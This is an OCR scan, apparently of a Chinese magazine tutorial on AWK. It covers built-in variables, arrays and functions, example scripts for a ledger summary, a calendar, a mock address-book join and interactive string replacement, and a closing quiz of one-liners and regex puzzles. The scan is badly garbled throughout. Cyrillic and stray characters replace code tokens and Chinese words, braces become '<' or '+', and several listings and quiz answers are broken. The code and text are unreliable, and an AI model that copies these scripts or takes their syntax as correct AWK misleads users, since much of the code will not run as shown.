ARGC 命令 
公公 


行 参数 的 个 数 
ARGV 98241 


了 参数 的 数组 
例 ) 
BEGIN < 


for Ci = 0; 1 < ARGC}; i++) 
print АВСМС1Ј 


这 是 个 模式 BEGIN 和 动作 的 组 合 。 程 序 
执行 时 会 把 所 有 的 命令 行 参数 表示 出 来 。 





FILENAME 

FILENAME 保 存 当前 输入 文件 的 文件 名 。 
使 用 这 个 变量 可 以 在 awk 脚本 中 根据 读 人 文件 
的 不 同 而 执行 不 同 的 动作 。 








例 ) 


FILENAME == "{1[е1" < 2/1 } 
FILENAME == "#11е2" < zz 和 2 } 
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从 现在 开始 sed/AWK 再 入 门 





UNIX 工 程 师 的 喜好 
+4 l 


FNR 
FNR 保 存 当 前 文件 的 行 号 。 


FS 

FS 是 定义 输入 字段 分 隔 符 的 变量 。 也 可 
以 使 用 正则 表达 式 指定 分 隅 符 。 没 有 定义 FS 
时 的 标准 值 是 空格 和 Tab。 





NF 
NF 保存 当前 行 的 字段 数 。 比 如 用 NF 进行 
如 下 操作 ， 将 会 输出 行 的 最 后 一 个 字段 。 








print $NF 


NR 
NR 保存 谈 入 的 行 数 。 15 FNR 的 不 同 点 在 于 : 
谈 和 人 多 个 文件 时 ，NR 表示 这 些 文件 的 总 行 数 。 


OFS 
OFS 是 定义 输出 字段 分 隔 符 的 变量 。 没 有 
指定 时 ， 默 认为 空格 。 





ORS 
ORS 是 定义 输出 行 的 分 隅 符 的 变量 。 这 个 
变量 没有 定义 时 ， 采 用 标准 换行 符 。 





RS 
RS 是 定义 输入 行 的 分 隅 符 的 变量 。 默 认 
采用 标准 换行 符 。 


QD 数组 


AWK 的 数组 是 关联 数组 ， 下 标 不 仅 可 以 
是 数字 还 可 以 是 字符 串 。 





例 ) 


аспі = 10 
БЕ" ИЕ "Л = "India" 





还 可 以 如 下 所 示 ， 用 “， 分 隔 下 标 ， 使 用 
多 元 数组 。 


cLx,y] 


当 数 组 的 某 个 要 素 不 要 时 ， 可 以 用 delete 
进行 删除 。 


delete aLnj 


GO 示 例 肢 本 DD“ 统 计 出 纳 ” 


对 象 数据 可 以 分 为 记录 行 和 字段 ， 可 以 当 
作 表 格 形 式 的 数据 进行 处 理 。AWK 具有 便于 
处 理 log 文 件 以 及 快速 计算 统计 信息 的 特征 。 
我 们 来 试看 写 一 下 进行 “统计 出 纳 ” 的 脚本 。 

数据 形式 为 “日 期 、 明 细 、 人 金额 ， 并 以 
连续 的 Tab 为 分 隔 符 。 金 额 栏 里 ， 如 采 是 文 出 
则 表示 为 负 值 ， 如 果 是 收入 则 表示 为 正 值 。 

比如 数据 文件 “note.dat” 如 代码 清单 1 所 
ЖЕҢ, ЖИ МЕ. 














(1 ) 现 在 的 余额 

(2 ) 最 高 收入 额 

(3 ) 最 高 文 出 额 

(4 ) 从 以 下 角度 求 关 于 一 次 收文 的 平均 金额 : 
(a ) 按 月 
(b ) 除 去 工资 收入 的 整个 期 间 
(c ) 整 个 期 间 

答案 请 参照 代码 清单 2。 





有 代码 清单 1 数据 note.dat 


10/1 水 -20 
10/2 ® -6,231 
10/3 煤气 -300 
10/3 电话 -6,503 


10/20 打 弹 子 机 -20,200 
10/23 赛马 3,000 

10/25 工资 223,000 
10/26 餐馆 就 餐 支 出 134,523 
11/1 K -30 

11/2 E -6,231 

11/3 煤气 -700 

11/5 电话 -10,300 

11/5 赛马 -164,000 
11/10 麻将 40,000 

11/25 工资 234,500 
11/26 餐馆 就 餐 支 出 -122,459 








У (©1588 2 summary.awk 
BEGIN < FS="\t+"; п = 3} 


{ 

gsub( ";$n) 
gsub(/\/C0-91]+/," H ",$1) 
summary (" Šit ") 

summary ($1) 


$2 != "I" { summary(" 工 资 以 外 ") } 
function summary(c) + 
if (МАХГс1+@ < $n+0 ) MAXLc] = $n 
if (MINLcJ+0 > $n+0 ) MINLc] = $n 
COUNTE с1++ 
TOTALLc] += $n 
} 


END + 
for (с in TOTAL) + 
printf "余额 (Xs) = %d\n", c, ? 
TOTALLc] 
printf "RAS НЛ (45) = %d\n", т 
с, MINCc] 
printf "最 大 收入 额 (%s) = %d\n", 7 
с, МАХГс1 
printf FIIS) = NI с, 7 
TOTALCc]/COUNTLc] 
print = 
} 


解说 “统计 出 纳 ” 脚 本 

АМК 脚本 和 我 们 熟悉 的 C 语 言 、Java 语 
言 的 语法 类 似 , 不 过 大 家 可 能 也 意识 到 了 ， 
АМК RAH ECE” S M “;”„ 

模式 BEGIN 是 进行 初始 化 的 。 因 为 零钱 
账 的 数据 分 隔 符 是 “连续 的 Tab”， 所 以 可 以 变 
为 默认 的 字段 分 隔 符 "[Mt]"。 而 且 ， 作 为 计算 对 
象 的 是 第 3 个 字段 ， 所 以 将 变量 n 初 始 化 为 3。 

然后 是 省 略 模 式 的 动作 ， 记 述 了 谈 入 行 之 
后 ， 对 所 有 行 要 进行 的 处 理 。 

在 计算 对 象 字段 中 含有 “,”， 为 了 使 之 可 以 
被 AWK 当 作 数值 数据 进行 处 理 ， 必 须 把 “,” 去 
掉 。 字 符 串 的 蔡 换 使 用 内 置 兄 数 gsub, 如 下 所 示 。 








gsub(",","",$n) 


同样 ,日 期 中 的 “日 ”信息 也 没有 用 。 人 处 
理 如 下 所 示 。 


gsub(/\/C0-91+/," H ",$1) 


зе ШИРИ 
AWK 的 基础 БЕ 





把 “日 ”信息 替换 成 了 “月 ” 字 。 

gsub 函数 的 功能 是 把 第 3 个 参数 的 字符 串 
中 与 第 1 个 参数 匹配 的 地 方 用 第 2 个 参数 指定 
的 字符 串 蔡 换 。 羡 数 的 返回 值 是 蔡 换 个 数 。 

使 用 之 后 定义 的 summary 函数 进行 总 计 和 
按 月 统计 。summary 因数 的 参数 是 统计 种 类 ， 
它 可 以 把 总 计 、 最 小 值 、 最 大 值 和 平均 值 的 统 
计 结 果 存 储 到 关联 数组 中 。 











ѕиттагу С" +") 
summary ($1) 


通过 指定 模式 来 进行 关于 工资 以 外 的 收文 
统计 。 


$2 = "ТЖ " 


在 这 里 ， 省 略 模式 的 动作 处 理 已 经 完毕 ， 
所 以 这 里 的 金额 中 的 “,” 和 日 期 中 的 “日 ” 信 
县 已 经 处 理 完 毕 。 

统计 时 ， 因 为 在 AWK 中 没有 类 型 指定 ， 
所 以 要 注意 避免 变量 类 型 识别 发 生 错 误 。 这 里 
为 了 以 数值 类 型 进行 演算 ， 采 用 如 下 记 法 。 














变量 +0) 


最 后 的 模式 END 是 将 统计 结 末 进行 输 
出 。 抽 取 关 联 数 组 的 成 员 时 使 用 for 语 句 的 in 
运算 符 是 很 方便 的 。 不 经 意 间 使 用 的 内 置 函数 
printff， 基 本 和 C 语 言 中 的 一 样 。 

这 个 例子 比较 人 简单 ,大 家 应 该 理解 了 
AWK 风格 的 记述 方法 了 吧 。AWK 还 可 以 自由 
地 变更 字段 和 记录 行 的 单位 。 此 外 ， 还 可 以 使 
用 强大 的 内 置 函数 等 简单 地 应 用 于 系统 日 志 、 
网 络 包 的 dump 数 据 解 析 等 。 


С) итн 


ТЕ Е PA XT AA EIT ССА Н 
起 来 了 。 事 实 上 AWK 还 可 以 用 户 自 定义 函数 。 
格式 如 下 所 示 。 

















function AAE (BE) < 
} 
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从 现在 开始 sed/AWK BAJ 


UNIX 工 程 师 的 喜好 
特辑 ] 








只 要 是 可 以 记述 模式 -动作 语句 ， 你 就 可 以 把 
为数 定义 写 在 任意 一 个 你 喜欢 的 地 方 。 需 要 注 
意 的 是 ， 调 用 时 函数 名 和 参数 列表 的 左 括号 之 
间 不 能 有 多 余 的 空格 。 

既然 是 函数 ， 就 必须 要 注意 变量 的 范围 。 
给 一 般 的 标量 变量 赋值 ， 即 使 在 范 数 中 修改 了 
变量 的 值 对 外 部 也 没有 什么 影响 。 在 函数 中 可 
以 修改 数组 要 素 或 者 增加 新 的 要 素 等 。 形 参 在 
国 数 内 都 是 局 部 变量 ， 其 他 变量 则 作为 全 局 变 
量 对 等。 在 函数 中 如 果 需 要 局 部 变量 ， 多 传 一 
个 形 参 即 可 。 

省 略 return 语 名 表示 因数 的 返回 值 不 确定 。 


©) 示例 脚本 Cj“ 显示 日 历 ? 


现在 我 们 尝试 用 至 此 为 止 介绍 的 一 些 功能 
和 几 个 内 置 函数 ， 用 AWK 做 一 个 日 语 版 的 日 
历 (代码 清单 3 )。 

使 用 + 选项 指定 年 月 日 启动 calendar.awk， 
会 返回 星期 。 如 果 只 指定 年 和 月 ， 会 将 该 月 的 
日 历 表示 出 来 。 男 外 ， 如 果 只 指定 年 ， 会 将 该 
年 全 部 的 日 历 表 示 出 来 (图 1 )。 






































解说 "日 历 脚本 ” 

请 参照 代码 清单 3。 请 注意 其 中 的 数值 运算 、 
使 用 正则 表达 式 的 逻辑 运算 、 变 量 的 增值 和 减 
值 等 操作 。 基 本 上 能 和 C 语 言 等 一 般 的 编程 语 
言 进行 相同 的 处 理 。 








Ут 日 历 脚本 的 执行 结果 


# 1 

$ awk -f са(епааг.амк +2013.10./ 
星期 五 
# 
$ 


2 

awk -f са(епдаг.амк +2013.10 
2013 10H 

шеке E 

бг 8 

15 14 15 16 

20 21 22 23 

2/ 28 29 30 


# 5 
$ awk -f calendar.awk +2014 
因为 结果 有 些 长 ， 省 略 。 





РА Ж орпопО) 把 读 入 的 日 期 用 内 置 晒 数 
splitO 分 解 为 年 月 日 并 保存 到 数组 date[] 中。 不 
过 ， 年 月 日 要 以 终止 符 “.” 为 分 隔 符 。 

weekl10 用 来 计算 是 星期 几 。 在 BEGIN 部 
分 进行 初始 化 设 定 。 在 week10 中 数组 M 是 作 
为 全 局 变量 来 参照 的 。 

1 个 月 的 日 历 使 用 晒 数 calendar0 做 成 。 为 
了 决定 表示 位 置 ， 使 用 孔 数 week10 求 当前 月 
第 0 天 (= 前 一 个 月 的 最 后 一 天 ) 的 星期 值 。 

PKI Š repeat 的 功能 是 将 字符 串 str 重 复 
time 次 。time 小 于 等 于 0 时 返回 空 " 字 符 串 。 
这 个 机 数 有 助 于 字符 串 的 整形 。 字 符 串 用 如 下 
方式 进行 连接 。 




















ret = Str ret 


变量 1 和 ret 都 是 作为 局 部 变量 使 用 的 形 参 。 

РЁ ЖС option) 的 功能 是 : 对 于 AWK 启动 时 
IAK HET, AH A E KZ substr ESAE 
2 个 字符 之 后 的 值 以 字符 串 的 形式 取出 。 参 数 
opt 的 值 是 省 略 + 选 项 时 的 默认 值 。 在 文本 数 
据 读 入 之 前 在 BEGIN 部 分 中 使 用 。 但 是 ，"" 
形式 的 输入 是 不 允许 的 。 


СЕ) 示 例 脚本 3 “模拟 数据 库 ， 


我 们 再 来 看 一 个 简单 的 “模拟 数据 库 ” 的 
例子 。 

通讯 录 的 数据 像 关 系数 据 库 一 样 被 正规 化 ， 
由 3 个 表 组 成 。 其 中 一 个 表 用 来 保存 个 人 的 名 字 、 
电话 号 码 和 工作 单位 。 为 了 区 分 ， 给 每 个 人 都 
分 配 一 个 序列 号 。 这 个 表 保 存 为 private.dat (1% 
码 清单 4 )。 第 二 个 表 保 存 个 人 的 家 庭 成 员 ， 为 
了 区 分 是 哪个 人 的 家 庭 成 员 ， 这 个 表 中 存 有 刚 
才 分 配 的 序列 号 、 家 庭 成 员 的 名 字 和 关系 。 这 
个 表 命 名 为 family.dat( 代 码 清单 3 )。 最 后 一 个 
表 jobs.dat 以 工作 单位 的 简称 为 主键 ， 并 存 有 
单位 正式 名 称 和 电话 号 码 (代码 清单 6 )。 表 的 
字段 分 隔 符 设 为 连续 的 空格 和 Tab。 




















解说 “模拟 数据 库 
我 们 的 目的 是 从 这 些 表 中 取出 某 个 特定 个 
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殉 代 码 清单 3 calendarawk 


# 日 历 

BEGIN < 
МС12=31; МС2]=28; МС31=31; МС4]=30; МС5]=31; МС67=30 
МС71=31; МС87=31; МС97=30; M[10]=31 МС112=30; МС122=31 
иг@1="Н"; МС12=" В" ; МС21=""; WL3]=" 水 " 
л=п МЕ51=" ="; МС61="Е" 


split(option(), date, "\.") 
п = week1(dateĽ[1]+0, ааёес21+0, даїеС31+0) 


if С date[3] != "" ) print "星期 " WCn] 

else if С date[2] != "" ) { 
calendar(dateĽ1], dateĽ2], МЕааёес211, п) 

} 


else for С 1 = 1; 1 <= 12: ТЕЕ ) + 
calendar(dateĽ[1], 1, МЕ1Ј, week(dateĽ[1], 1, 0)) 
рг1пї "" 

} 

} 


# 算出 是 星期 几 
function меек1 (у, m, а, s) + 
5 = 5 
у = 400 
if Су == @ || < y%4 == 0 && у/100 != 0 )) if С MC2] == 28 ) МЕ21++ 
if Су> 0 ) s += --у+іпї(у/4)-іпіСу/100)+1п1(у/400) +2 
while С т > 1 ) s += ML-—m] 
return (s+d)%7 
} 


# 做 成 日 历 
function calendar(y, т, а, s, 1) + 
ргїпїїС" Жайы Хайс\п", Уу, "ТЕ" щш, "Б "ЭУ 
print "日 一 二 三 四 五 六 " 
printf("%s", repeat(" ", ((s+1)%7)*3)) 
for СЕТЕ d: 1ї++) { 
printf("%2d ", 1) 
if С (s+i)%7 == 6 ) print "" 
} 
if С (s+1)%7 != 0 ) print "" 
} 


Н 重复 指定 字符 串 

function repeat(str, time 1, геї) + 
for С 1 = 1; 1 <= time; i++ ) геї = str геї 
return ret 

} 


# 读 入 选项 参数 
function option(opt) + 
if (ARGC > 1 && ARGVL1] ~ /^\+.*$/) © # 检查 是 否 指定 选项 
print ARGC, ARGV[1] 
opt = substr(ARGV[1], 2) # 去 掉 开 头 的 "+" 号 
delete ARGV[1] # 释放 数组 
} 
return opt 
} 


殉 代 码 清单 4 private.dat 


1 池田 雄一 032-6632-3188 东京 都 世 田 谷 区 torikumi 

2 小 泉 充 志 071-3242-4583 京都 府 京 都 市 左 京 区 cocodes 
3 田中 熊 五郎 032-2445-7819 东京 都 目 黑 区 tomato 

4 山本 能 山 041-899-2245 神奈川 县 川崎 市 tomato 

5 阿部 慎 平 072-445-2234 兵 库 县 担保 郡 капе 
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从 现在 开始 sed/AWK 再 入 门 





UNIX 工 程 师 的 喜好 
特辑 1 见 在 开始 











人 的 全 部 信息 并 表示 出 来 。 表 保存 在 多 个 文件 
中 ， 可 以 用 getline 功 能 对 表 进 行 结合 。 
关键 在 于 使 用 主键 对 别 的 表 进 行 检 索 的 循 
环 部 分 。 像 本 例 一 样 ， 处 理 对 象 的 文件 分 为 多 
о AWK 也 可 以 轻松 应 对 (代码 清单 7 )。 
结果 如 图 2 所 示 。 


ч нвн 


©) 示例 脚本 “交互 式 字符 串 蔡 换 ” 


下 面 介 绍 一 个 应 用 AWK 进行 交互 式 处 理 
的 例子 。“ 用 脚本 语言 进行 交互 式 处 理 ? ”大 家 
可 能 会 觉得 有 些 别扭 。AWK 作为 脚本 语言 在 
以 单行 脚本 的 形式 与 其 他 命令 进行 联合 ， 或 者 
是 对 文本 数据 进 1 二 批 处 理 等 方面 是 很 擅长 的 。 
不 过 , 在 选择 数据 作为 交互 式 、 ЕТ 
对 象 时 ，AWK 也 具有 相应 的 应 对 功能 。 这 里 ， 
交互 式 输入 使 用 的 内 置 函 数 就 是 上 市 中 提 到 的 














У (1585885 family.dat 


1 CHRT == 
1 池田 爱 生 长 女 
2 小 泉 久 美 子 长 女 
5 田中 能 六 郎 PP 
5 田中 梅子 姐姐 
4 山本 清 子 祖母 
4 小 豆子 乌 

5 阿部 太郎 父亲 
5 阿部 爱 子 母亲 


У (15585886 jobs.dat 


torikumi 取 组 有 限 股 份 公司 
cocodes COCODES 财团 法 人 
tomato TOMOTO 报社 有 限 股份 公司 
kane KANE 科学 有 限 股份 公司 


071-423-9231 
031-6323-6222 
032-4777-9524 
072-877-2833 


有 图 2 模拟 数据 库 的 执行 结果 


$ awk -f address.awk +0283 private .dat 
姓名 DENERA 

电话 号 码 072-445-2234 

住址 KERERE 


工作 单位 ”KANE 科 学 有 限 股份 公司 电话 072-877-2833 
家 庭 成 员 

阿部 太郎 关系 父亲 

阿部 爱 子 关系 母亲 





getline 困 数 。 当 发 现 作 为 替换 对 象 的 字符 串 时 ， 
对 于 是 否 真 的 要 进行 蔡 换 我 们 来 进行 一 下 交互 
式 确认 吧 ( 代 码 清单 8 )。 对 于 找到 的 字符 串 ， 
要 表示 它 所 在 的 行 及 行 号 ， 并 根据 转 义 序列 使 
用 强调 输出 的 方法 进行 着 色 使 之 更 醒目 ( 转 义 
序列 会 根据 所 使 用 的 终端 的 不 同 而 不 同 ， 请 根 
据 自 身 的 环境 进行 适当 地 修改 )。 

这 个 脚本 中 ， 在 交互 输入 时 可 以 使 用 的 命 
令 如 表 1 所 示 。 























#1 操作 一 览 
у | 替换 对 象 字符 串 
。 | 包含 当前 字符 串 ， 
的 字符 串 
不 执行 替换 ， 以 后 出 现 的 所 有 相同 的 字符 捉 
也 都 不 替换 


其 他 | 不 执行 替换 








著 损 以 后 出 现 的 所 有 相同 














可 代码 清单 7 address.awk 


# 通讯 录 
BEGIN < FS="[ \t]+"; пате = option(); } 
$2 == name { 
key = $1; 
printf "姓名 \t\tXs\n" $2; 
printf "电话 号 码 \t%s\n"，$3; 
printf "住址 \t\t%s\n"， $4; 
getjob($5); 
getfamily(key); 
} 


function getfamily(key, n) 

{ 
printf "RERA \п"; 
while (getline < "family.dat" > 0) 
if ($1 == key) í 


printf("\t%s\t\t 天 系 %s\n", $2, $3); 
Mars 
} 
ПТ (Пп = 
РПС ОЕ 
} 


function getjob(abbreviation) 
{ 

while (getline < "jobs.dat" > 0) 

if ($1 == abbreviation) 

printf“" 工 作 单 位 \t\t%s\t\t 电 话 

NESADNE 25 $5; 
} 
H 用 来 读 入 选项 参数 的 水 数 option() ... 和 刚才 
的 例子 "日历 脚 本 "中 使 用 的 函数 option() 相同 。 





ZNSE 











AWK 的 基础 Б E 
命令 的 输入 不 区 分 大 小 写 。 在 未 指定 模式 的 动作 部 分 ,也 使 用 也 数 
此 外 ， 因 为 使 用 画面 进行 交互 式 人 处理 ， getline 把 从 标准 输入 得 到 的 输入 保存 到 变量 中 


编辑 结果 以 文件 形式 进行 输出 (这 里 保存 为 了 了 。 如 下 所 示 。 
replace.out， 也 可 以 使 用 已 经 出 现 过 的 函数 
、 getline q < "/dev/stdin" 
option() 等 把 输出 位 置 设 为 可 变 的 )。 
在 同一 动作 内 ， 

解说 ”交互 式 字符 串 蔡 换 - 

正如 上 文 所 述 ， 脚 本 并 不 那么 复杂 。 在 
BEGIN 模 式 中 ,使 用 函数 getline 事 先 把 字典 对 于 正在 读 入 的 行 ，while 语 句 使 用 index 函数 
文件 读 到 数组 source 和 destination 中 。 查找 登录 在 字典 中 的 单词 的 位 置 ， 并 把 其 记录 


while (idx = index(tail, sourceLi])) 








要 代码 清单 4 private.dat 


# 根据 字典 进行 交互 式 著 换 
BEGIN < 
1=0 
while (getline < "аїсї" > 0) + 
ѕоигсеС11 = $1 
destinationLi] = $2 
i++ 
} 
} 


{ 
for (i in source) & 
if (1 in all) + 
gsub(sourceLi], destinationCi], $0) 
continue 
} 
head ы 
tail = $0 
while (idx = index(tail, source[Li])) + 
tbuf = tail 
sub(sourceLi], "\033C41m&\033C0m", tbuf) # 使 用 转 义 序列 进行 强调 表示 。 
printf("%4d : %s%žs\n", NR, head, tbuf ) 
printf("C%s] -> C%s] (Yes/No/All/Ignore): ", <$оигсеГ11, destination[L1i]); 
getline q < "/dev/stdin" 
if (а ~ /^Гуү1/) < # 替换 对 象 字 符 串 。 
sub(source[Lij], destination[Lij], tail) 
head = head substr(tail, 1, idx + length(destination[i])) 
tail = substr(tail, idx + length(destination[Li]) + 1) 
} else if (а ~ /^ГаА1/) < # 包 含 当 前 字符 串 。 蔡 换 以 后 出 现 的 所 有 相同 的 字符 串 。 
gsub(source[ij], destination[Lij], tail) 
all[Li] = sourceLi] 
break 
} else if (q ~ /^[111/) < # 不 执行 替换 。 以 后 出 现 的 所 有 相同 的 字符 串 也 都 不 替换 。 


delete sourceLi] 


break 
} else < # 不 执行 替换 。 
head head substr(tail, 1, idx + Length(source[L1i])) 
substr(tail, idx + Length(sourceLi]) + 1) 


п пе 


tail 
} 
} 
$0 = head tail 
} 
print $0 > "replace.out" # 这 里 记述 的 是 结果 文件 的 文件 名 
} 
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在 idx 中 。 如 有 果 查 找 的 字符 串 不 存在 ，index РЁ 
数 返 回 0。 对 于 while 循 环 的 判定 ，0 就 相当 于 
FALSE， 所 以 当 对 象 单词 不 存在 时 就 会 跳出 循 
环 。 

只 对 行 的 一 部 分 执行 单词 蔡 换 时 ， 使 用 变 
量 head、tail 对 行进 行 分 割 ,然后 使 用 内 置 沿 
数 sub 把 最 开始 的 一 处 进行 蔡 换 ， 然 后 再 进行 


TA 
0 


22—278, WREE RIT Т АЧХА: 
词 ， 可 以 使 用 gsub 函数 一 下 全 部 其 换 。 
之 后 在 出 现 EREA” 时， 把 要 进行 蔡 





print $0 > "replace.out" 








这 样 未 指定 模式 的 动作 ， 请 注意 它 是 逐 行 
处 理 输 入 文件 (这 里 指 replace.txt ) 的 。 

理解 这 个 程序 动作 的 关键 在 于 理解 变量 $0、 
head, tail 的 状态 在 怎样 变化 。 


С) 执 行 示例 


那么 ， 我 们 来 试 着 执行 一 下 上 述 程序 。 使 
用 的 数据 如 代码 清单 9 和 代码 清单 10 所 示 。 执 
行 时 的 命令 如 下 所 示 。 











换 的 对 象 单词 都 保存 到 数组 all 中 ,然后 作为 
站 语句 的 处 理 对 象 ， 利 用 gsub 函数 进行 全 部 
ЖЖ. © 执行 过 程 如 图 3 所 示 。 结 果 得 到 的 输出 文 

同样 , “全 部 忽略 ”时 , 通过 删除 数组 件 replace.out 如 图 4 所 示 。 
source 使 字典 无 效 ， 然 后 从 站 语句 的 处 理 对 象 
中 跳出 。 

在 while 循环 结束 时 ， 把 变量 head 和 tail 进 
行 连接 ， 然 后 存 到 变量 $0 中 返回 。 

动作 最 后 ， 执 行 如 下 命令 把 处 理 结 果 输 出 
到 文件 中 。 


А> awk -f replace.awk replace.dat 





灭 代码 清单 9 字典 文件 ( dict ) 
魅 魔女 妖 ”莉莉 斯 


旅行 ”冒险 
星期 五 ”星期 六 日 
水 的 KAI 
WE RE 


э (558588 RAAN ЖЖ ( replace.dat ) 


上 周 下 界 到 了 地 牢 里 ， 真 是 倒 了 大 霉 了 。 但 是 ， 你 还 是 继续 你 的 旅行 。 
回想 起 来 ， 星 期 二 在 地 牢 里 错过 了 去 取 彩 虹 大 叔 ， 这 怕 是 不 祥 之 兆 吧 。 
星期 三 的 上 帝 的 庆典 ， 想 要 关东 者 的 你 ， 为 什么 领 着 水 的 魔 剑 师 。 

虽说 没 帝 火 的 魔 剑 师 ， 但 为 了 提高 族 多 啦 技能 可 以 使 用 岩石 的 魔 剑 师 ……: 
星期 五 的 地 牢 ， 需 要 2 倍 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
W, wE, REWE, 


у” з 执行 结果 ”交互 式 字符 串 蔡 换 


| £ 上 周 下 界 到 了 地 牢 里 ， 真是 倒 了 大 霉 了 。 但 是 ， ир) 
[旅行 ] -> [冒险 ] (Yes/No/All/Ignore): у 

l E 上 周 下 界 到 了 地 牢 里 ， 真是 倒 了 大 霉 了 。 但 是 ， 你 还 
CHEF] -> С 1 (Yes/No/All/Ignore): n 

2 : 回想 起 来 ， 星 期 二 在 地 牢 里 销 过 了 去 取 彩 虹 大 叔 ， 这 由 是 不 祥 之 兆 吧 。 
CHEF] -> CE] (Yes/No/All/Ignore): п 

3 : 星期 三 的 上 帝 的 庆典 ， 想 要 关东 者 的 你 ， 为 什么 领 着 水 的 魔 剑 师 。 
[水 的 ] -> [ 火 的 ] (Yes/No/All/Ignore): у 

5 : 星期 五 的 地 牢 ， 需 要 2 倍 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
[星期 五 ] -> [星期 六 日 ] (Yes/No/All/Ignore): y 

5 : 星期 六 日 的 地 牢 ， 需 要 2 倍 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
CHEF] -> [ 魔 宣 ] (Yes/No/All/Ignore): п 

6 : W, F. REE, 
[地 牢 ] -> CE 1 (Yes/No/All/Ignore): n 

6 : W, F, REA, 
[地 牢 ] -> CE ] (Yes/No/All/Ignore): у 
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у 84 执行 结果 ( replace.dat ) 


尝试 并 掌握 
AWK 的 基础 ， 





上 周 下 界 到 了 地 牢 里 ， 真 是 倒 了 大 霉 了 。 但 是 ， 你 还 是 继续 你 的 冒险 。 
回想 起 来 ， 星 期 二 在 地 牢 里 错过 了 去 取 彩 虹 大 开 ， 这 怕 是 不 祥 之 兆 吧 。 
星期 三 的 上 帝 的 庆典 ， 想 要 关东 总 的 你 ， 为 什么 领 着 火 的 魔 剑 师 。 


虽说 没 市 火 的 魔 剑 师 ， 但 为 了 提高 充 多 啦 技 能 可 以 使 用 宕 石 的 魔 剑 师 
星期 六 日 的 地 牢 ， 需 要 2 售 的 硬币 。 不 好 好 积累 的 话 ， 连 合成 也 做 不 了 。 
0, АЮ. Жу. 





лаки 


на, RIAA БЛА АЈ АМК 4 
力 游 戏 。 请 预测 一 下 脚本 Q1~Ql19 的 动作 。 


С) 问题 


Ф Q1 


$ awk '$0 !~ /^( |\t)*$/' inputfile 





Ф Q2 


$ awk '{$1 = $1; print $@}' inputfile 





© Q3 


$ awk '{ 人 Line = $@} END {print line}' 
inputfile 





© Q4 


$ awk '{if (f<NF) f=NF} END {print f}' 
inputfile 





Ф Q5 


$ awk '{if (l<length) l=length} END {print 
L}' inputflie 





© Q6 


$ awk '{printf("%3d: 45\п", NR, $0)}' 
inputfile 





© Q7 


$ awk '{for(i=1;i<=NF;i++) printf("%3d: 


4s\n",++s,$i)}' inputfile 


如 果实 在 不 知道 ， 可 以 执行 一 下 试 试看 。 


© Q8 


$ awk '/ 鬼 魔女 妖 | 莉莉 斯 / {c++} END {print 


c}' inputfile 





Ф Q9 


$ awk '{for(i=1;i<=NF;i++) if($i ~ /ft Rm 
| 龙王 /) c++} END {print c}' inputfile 





@ Q10 


$ awk '{c=0; for(i=1;i<=NF;i++) if($i ~ / 
海 魔 星 | 天 魔 星 /) c++; print c}' 
inputfile 





@ Q11 


$ awk '{for(i=1;i<=NF;i++) if($i ~ / 
丘比特 | 天 使 /) print NR ":" 1}' 
inputfile 





Ф Q12 


$ awk '< gsub(/ /, ""); print }' inputfile 





Ф Q13 


$ awk '{ аѕиБСс/СА-21/, "ж"); print }' 
inputfile 





@ Q14 


$ awk '{ printf $0}' inputfile 





47 





48 


从 现在 开始 sed/AWK 再 入 门 
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© Q15 


$ awk 'BEGIN < ORS = "" } { print }' 
inputfile 





@ Q16 


$ awk 'BEGIN < RS = FS } { print }' 
inputfile 





© Q17 


$ awk 'BEGIN { OFS = "\n" } { $1 = $1; 
print }' inputfile 





© Q18 


$ awk 'NR%2 == 1 < printf $0} NR42 == 0 { 


print }' inputfile 








@ Q19 

本 文 一 直 都 没有 解说 正则 表达 式 的 机 会 。 
最 后 ， 请 有 信心 的 人 一 定 挑 成 一 下 下 面 这 个 正 
则 表达 式 的 问题 。 请 把 使 用 AWK 执行 时 动作 








相同 的 正则 表达 式 进 行 分 组 。 












































а 1(01)? b (01)+ 

c |(0|1)* а (01)* 

e |((01)+)+ f |С(01)*)* 
g 101(01)* h |(@*|1*)* 
1 |(01)++ 1 1(01)?+ 

k |((01)?)? ы | (017)+? 

т |(01)** n |(01)?? 

o |1(01)?* р 1(01)*01 
q 1(01)+(01)* r |(01)*? 

s |(01)*(01)* t |(01)*(01)+ 
u |(@?1?)* v |(@1)+* 

w |(@1)*+ х | (Ож1ж) ж 





ФАТ: 删除 只 有 换行 符 的 行 以 及 只 有 Tab 和 空 
格 的 行 。 使 用 正则 表达 式 实现 了 和 脚本 相同 
的 功能 。 

© A2: 把 Tab 替 换 成 空格 。 通 过 向 $1 看 似 无 意 
义 的 代入 操作 ， 对 $0 进行 了 重 定 义 。 如 果 输 入 
数据 文件 的 分 隔 符 是 Tab， 该 脚本 会 将 Tab 替换 








: 内 表示 最 后 = 人行 4 

© А4: 表示 出 最 大 的 字段 数 。 

: 表示 出 最 长 的 字符 数 。 

: 加 上 行 号 ， 输 出 inputfile 的 内 容 。 

: 一 个 字段 一 行 , 并 加 上 行 号 后 进行 输出 。 
© Аз: 输出 和 正则 表达 式 ( 魅 魔女 妖 或 和 莉莉 斯 ) 
匹配 的 行 。 

© A9: 输出 与 指定 的 正则 表达 式 ( 针 曙 鼠 或 龙 
王 ) 匹 配 的 字段 的 字段 总 数 。 

Ф A10: 输出 每 行 与 正则 表达 式 ( 海 魔 星 或 天 
厅 星 ) 匹 配 的 字段 的 字段 数 。 

@A11: 输出 与 “丘比特 或 天 使 ”匹配 的 字段 
是 第 几 行 第 几 个 字段 。 

Ф А12: 删除 空白 。 














Ф А13: 把 大 写 英 文字 母 蔡 换 成 <( 像 gawk 等 
能 很 好 地 处 理 日 语 的 AWK 人 处 理 系 ,可 以 把 
“A-Z” 替 换 成 “办 - A” 进行 使用)。 
























































© А14: 把 所 有 内 容 合 为 1 行进 行 表示 。 
© А15: 把 所 有 内 容 合 为 1 行进 行 表示 。 
© А16: 按 字 上 段 进行 换行 。 
© А17: 按 字 上 段 进行 换行 。 
Ф А18: 每 2 行 合 为 1 行 ， 然 后 进行 输出 。 
© A19: 
。 答 案 
(А) 
БЕТЕ ес МААНИ 
(01)? ((01)?)? (01)?? 
(В) 
а { m S 
(01)* |((01)*)*| (01) жж |01) ж(01) ж 
j L О r 
(01)?+ | (01)+? | (01)?* (01)*? 
V W 
(01)+# | (01) ж+ 
(CJA 
b ё 1 q 
(01)+ ((01)+)+ (01)++  |(01)+(01)* 
g p t 
01(01)* | (@1)+ 01 | (01)*(01)+ 






































(р) 

c h u X 
